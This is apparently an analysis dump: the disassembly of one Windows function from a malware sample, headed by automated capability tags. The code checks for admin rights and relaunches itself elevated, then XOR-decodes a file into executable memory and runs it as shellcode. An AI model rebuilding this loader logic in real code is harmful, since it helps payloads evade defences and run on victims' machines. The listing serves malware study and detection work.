Function at 0x1400013c0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get file size
Get token membership
Read file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x198]
sub rsp, 0x298
mov rax, qword [0x1411ff108]
xor rax, rsp
mov qword [rbp + 0x180], rax
movabs rax, 0x4f17de05930b29c3
mov ecx, 0x64
mov qword [rbp + 0x10], rax
movabs rax, 0xda2e72e891ef372b
mov qword [rbp + 0x18], rax
movabs rax, 0x665af7d9af630950
mov qword [rbp + 0x20], rax
movabs rax, 0x5f7c45541556e033
mov qword [rbp + 0x28], rax
movabs rax, 0x2cddb8c98b77817d
mov qword [rbp + 0x30], rax
movabs rax, 0x811b55cf82de7bdf
mov qword [rbp + 0x38], rax
movabs rax, 0x57c31102de1da7b7
mov qword [rbp + 0x40], rax
movabs rax, 0x3374bc166a503173
mov qword [rbp + 0x48], rax
movabs rax, 0xb0e722ac9edd2bd0
mov qword [rbp + 0x50], rax
movabs rax, 0x329335c3a278ffdc
mov qword [rbp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov word [rbp - 0x18], 0x500
lea rax, [rbp - 0x10]
mov dword [rbp - 0x20], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x1c]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp - 0x1c], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400014fc
mov rdx, qword [rbp - 0x10]
lea r8, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp - 0x20]
test eax, eax
cmove ecx, ebx
mov dword [rbp - 0x20], ecx
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x20], ebx
jne 0x140001582
mov r8d, 0x104
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001582
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x70
xor eax, eax
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x2c], rax
mov dword [rbp - 0x24], eax
lea rax, [0x14000dee4]
movups xmmword [rsp + 0x74], xmm0
mov qword [rsp + 0x78], rbx
movups xmmword [rbp - 0x7c], xmm0
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0x70]
movups xmmword [rbp - 0x6c], xmm0
mov qword [rbp - 0x78], rax
movups xmmword [rbp - 0x5c], xmm0
mov dword [rbp - 0x60], 1
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001853
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x140001853
mov qword [rsp + 0x2b0], rsi
lea rcx, [0x14000df70]
mov qword [rsp + 0x2c0], r14
mov qword [rsp + 0x290], r15
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
movabs r15, 0x6038e476e37f5dab
movabs r14, 0xad5f149bf098405c
cmp eax, 0xffffffff
jne 0x1400016a5
movdqa xmm0, xmmword [rbp + 0x10]
lea r8, [0x14000df70]
movdqa xmm1, xmmword [rbp + 0x20]
lea rdx, [rbp + 0x10]
movabs rax, 0x112b84b8c9106835
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], rax
xor r9d, r9d
movabs rax, 0x674e76653862d256
mov qword [rsp + 0x78], r14
pxor xmm0, xmmword [rsp + 0x70]
xor ecx, ecx
mov qword [rbp - 0x78], rax
movabs rax, 0x4ff38cfab947b84f
pxor xmm1, xmmword [rbp - 0x80]
mov qword [rbp - 0x70], rax
movabs rax, 0xee7378bfe3f008b0
mov qword [rbp - 0x68], rax
movabs rax, 0x3aed766cb176c0d9
mov qword [rbp - 0x60], rax
movabs rax, 0x1d10c9790633400a
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp - 0x70]
mov qword [rbp - 0x58], rax
movabs rax, 0xc4c9169eb1b044b3
mov qword [rbp - 0x50], rax
movabs rax, 0x329335c3a2788ba4
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm1, xmmword [rbp + 0x40]
pxor xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm0, xmmword [rbp + 0x50]
mov qword [rbp - 0x48], rax
pxor xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmmword [rbp + 0x40], xmm1
mov qword [rsp + 0x20], rbx
call qword [0x1411ff970]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
lea rcx, [0x14000df70]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000181d
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x14000170b
mov rcx, rsi
call qword [fcn.140001e7c]
jmp 0x14000181d
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x2b8], rdi
call qword [sym.imp.msvcrt.dll_malloc]
mov r8d, dword [rsp + 0x60]
lea r9, [rbp]
mov rdx, rax
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001803
mov ecx, dword [rbp]
cmp rcx, qword [rsp + 0x60]
jne 0x140001803
mov rcx, rsi
call qword [fcn.140001e7c]
mov rsi, qword [rsp + 0x60]
movabs rax, 0x607cbc47ba3c19f3
mov qword [rbp - 0x10], rax
mov ecx, 0x64
mov qword [rbp - 8], r14
movdqa xmm0, xmmword [rbp - 0x10]
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r14
pxor xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x10], xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp - 0x10]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400017a0
test rsi, rsi
je 0x1400017c8
nop dword [rax]
xor edx, edx
mov rax, rbx
div rcx
movzx eax, byte [rbp + rdx - 0x10]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, rsi
jb 0x1400017b0
mov rdx, qword [rsp + 0x60]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rsp + 0x60]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
jmp 0x14000180c
mov rcx, rsi
call qword [fcn.140001e7c]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
mov rdi, qword [rsp + 0x2b8]
mov r14, qword [rsp + 0x2c0]
mov eax, 1
mov rsi, qword [rsp + 0x2b0]
mov r15, qword [rsp + 0x290]
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140003620
add rsp, 0x298
pop rbx
pop rbp
ret
xor ecx, ecx
call fcn.1400047b0
int3